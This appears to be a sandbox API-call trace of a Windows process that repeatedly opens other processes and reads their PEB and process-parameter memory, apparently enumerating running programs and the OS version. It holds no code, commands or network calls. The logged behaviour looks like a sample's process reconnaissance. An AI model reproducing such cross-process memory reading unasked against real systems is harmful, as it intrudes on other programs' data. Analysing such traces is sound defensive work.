[0200.847] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0200.847] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0200.847] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0200.847] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0200.847] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0200.848] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0200.849] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0200.849] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2f9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0200.849] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0200.849] malloc (_Size=0x68) returned 0x20abc280290 [0200.849] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x4e1958, lpBuffer=0x20abc280290, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0200.850] free (_Block=0x20abc280290) [0200.850] CloseHandle (hObject=0x458) returned 1 [0201.199] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0201.206] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3912") returned 4 [0201.207] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.207] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.222] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x458 [0201.223] GetLastError () returned 0x0 [0201.223] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.223] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x29c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.223] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.223] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.223] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5418f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.224] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.225] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.226] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x29c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.226] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.226] malloc (_Size=0x68) returned 0x20abc2801b0 [0201.226] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x541958, lpBuffer=0x20abc2801b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0201.227] free (_Block=0x20abc2801b0) [0201.227] CloseHandle (hObject=0x458) returned 1 [0201.228] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0201.232] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3920") returned 4 [0201.233] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.233] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.438] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x460 [0201.438] GetLastError () returned 0x0 [0201.439] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.439] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x26b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.439] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.439] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x481d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.439] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4818f8, lpBuffer=0x2dc24fc2d0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.440] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.441] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.441] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x26b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.441] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x4812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.441] malloc (_Size=0x88) returned 0x20abc286930 [0201.441] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x481978, lpBuffer=0x20abc286930, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286930*, lpNumberOfBytesRead=0x0) returned 1 [0201.442] free (_Block=0x20abc286930) [0201.442] CloseHandle (hObject=0x460) returned 1 [0201.443] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0201.446] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3940") returned 4 [0201.447] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.447] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.461] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x460 [0201.461] GetLastError () returned 0x0 [0201.461] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.461] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x358018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.461] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.461] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.461] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.462] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.463] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.463] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x358020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.463] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.463] malloc (_Size=0x84) returned 0x20abc286920 [0201.464] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1d1974, lpBuffer=0x20abc286920, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286920*, lpNumberOfBytesRead=0x0) returned 1 [0201.464] free (_Block=0x20abc286920) [0201.465] CloseHandle (hObject=0x460) returned 1 [0201.465] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0201.469] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3948") returned 4 [0201.613] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.613] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.630] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x458 [0201.630] GetLastError () returned 0x0 [0201.630] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.630] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x419018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.630] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.631] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x391c90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.631] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3918f8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.631] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.632] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.632] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x419020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.632] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.633] malloc (_Size=0x54) returned 0x20abc2a77e0 [0201.633] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x391944, lpBuffer=0x20abc2a77e0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a77e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.634] free (_Block=0x20abc2a77e0) [0201.634] CloseHandle (hObject=0x458) returned 1 [0201.635] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0201.639] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3960") returned 4 [0201.640] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.640] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.655] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x458 [0201.655] GetLastError () returned 0x0 [0201.655] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ab018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1ce0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.655] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.656] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.814] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.814] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ab020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.814] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.814] malloc (_Size=0x6e) returned 0x20abc286890 [0201.814] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e195e, lpBuffer=0x20abc286890, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0201.815] free (_Block=0x20abc286890) [0201.815] CloseHandle (hObject=0x458) returned 1 [0201.816] _ui64tow_s (in: _Value=0xf88, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3976") returned 0x0 [0201.819] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3976") returned 4 [0201.820] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.820] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.833] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf88) returned 0x458 [0201.833] GetLastError () returned 0x0 [0201.833] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.833] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x415018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.833] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.833] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x271c90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.834] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2718f8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.834] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.835] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.835] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x415020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.835] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x2712e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.836] malloc (_Size=0x54) returned 0x20abc2a7420 [0201.836] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x271944, lpBuffer=0x20abc2a7420, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7420*, lpNumberOfBytesRead=0x0) returned 1 [0201.836] free (_Block=0x20abc2a7420) [0201.837] CloseHandle (hObject=0x458) returned 1 [0201.837] _ui64tow_s (in: _Value=0xf90, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3984") returned 0x0 [0201.841] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3984") returned 4 [0201.841] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0201.842] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0201.854] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf90) returned 0x458 [0201.854] GetLastError () returned 0x0 [0201.854] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0201.854] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x380018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0201.854] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0201.855] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x501cc0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0201.855] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5018f8, lpBuffer=0x2dc24fc2d0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0201.855] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0201.856] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0201.856] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x380020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0201.856] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0201.857] malloc (_Size=0x64) returned 0x20abc280290 [0201.857] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x501954, lpBuffer=0x20abc280290, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280290*, lpNumberOfBytesRead=0x0) returned 1 [0201.857] free (_Block=0x20abc280290) [0201.858] CloseHandle (hObject=0x458) returned 1 [0201.858] _ui64tow_s (in: _Value=0xf9c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, 